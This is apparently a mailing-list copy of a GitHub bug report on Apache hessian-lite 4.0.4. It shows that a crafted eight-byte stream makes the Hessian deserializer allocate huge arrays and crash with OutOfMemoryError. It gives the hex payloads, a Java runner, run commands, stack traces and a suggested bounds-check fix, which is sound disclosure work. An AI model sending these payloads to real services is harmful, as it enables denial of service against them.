L1nq0 opened a new issue, #108:
URL: https://github.com/apache/dubbo-hessian-lite/issues/108

   
   While testing hessian-lite 4.0.4 (org.apache.dubbo:hessian-lite from Maven 
Central) against short malformed streams, we found that a class definition op 
code with a large field count makes the reader allocate arrays sized directly 
from that count and throw OutOfMemoryError. The same code is on master today, 
and the 4.0.4 line numbers below match master.
   
   Details:
   
   Hessian2Input.readObjectDefinition (4.0.4, line 2919) reads the type name 
and the field count from the stream, then allocates two arrays from the count 
before reading any field name:
   
   ```
   String type = readString();
   int len = readInt();
   ...
   Object[] fields = reader.createFields(len);
   String[] fieldNames = new String[len];
   ```
   
   createFields in AbstractDeserializer (line 108) is new String[len]. Nothing 
compares the count with the remaining input, although each field name takes at 
least one byte on the wire, so a count above the remaining input length can 
never be satisfied.
   
   The type name does not need to resolve to a real class for this to happen: 
an unknown type falls back to a map deserializer and the allocation still runs.
   
   Reproduction:
   
   The class definition op code is 43 ('C'), the type name below is the 
one-character string x (01 78), then a raw four-byte field count. The full 
stream is eight bytes:
   
   ```
   43 01 78 49 7f ff ff ff    field count 2147483647
   43 01 78 49 49 49 49 49    field count 1229539657
   ```
   
   A minimal runner with nothing but the hessian-lite jar on the classpath:
   
   ```java
   import com.alibaba.com.caucho.hessian.io.Hessian2Input;
   import java.io.ByteArrayInputStream;
   import java.util.HexFormat;
   
   public class C2Poc {
       public static void main(String[] args) throws Exception {
           String hex = args.length > 0 ? args[0] : "430178497fffffff";
           Hessian2Input in = new Hessian2Input(new 
ByteArrayInputStream(HexFormat.of().parseHex(hex)));
           in.readObject();
       }
   }
   ```
   
   ```
   javac -cp hessian-lite-4.0.4.jar C2Poc.java
   java -Xmx64m -cp .:hessian-lite-4.0.4.jar C2Poc 430178497fffffff
   java -Xmx64m -cp .:hessian-lite-4.0.4.jar C2Poc 4301784949494949
   ```
   
   Observed on OpenJDK 21.0.12, both inputs fail inside readObject with these 
frames:
   
   ```
   java.lang.OutOfMemoryError: Requested array size exceeds VM limit
       at 
com.alibaba.com.caucho.hessian.io.AbstractDeserializer.createFields(AbstractDeserializer.java:109)
       at 
com.alibaba.com.caucho.hessian.io.Hessian2Input.readObjectDefinition(Hessian2Input.java:2928)
       at 
com.alibaba.com.caucho.hessian.io.Hessian2Input.readObject(Hessian2Input.java:2855)
   ```
   
   The second input reports java.lang.OutOfMemoryError: Java heap space 
instead, since 1229539657 references request roughly 4.9 GB of heap with 
compressed oops. An eight-byte stream turns into a multi-gigabyte allocation 
before the first field name is even read.
   
   Suggested fix:
   
   Compare the field count with the remaining input length before allocating. A 
class definition cannot carry more field names than it has bytes left, so a 
count above the remaining input length can be rejected as a protocol error, the 
same way other malformed input is rejected. One comparison after readInt covers 
both arrays.
   
   Happy to share the full outputs of the runs or submit a PR adding the check 
with tests.
   


-- 
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.

To unsubscribe, e-mail: [email protected]

For queries about this service, please contact Infrastructure at:
[email protected]


---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]

Reply via email to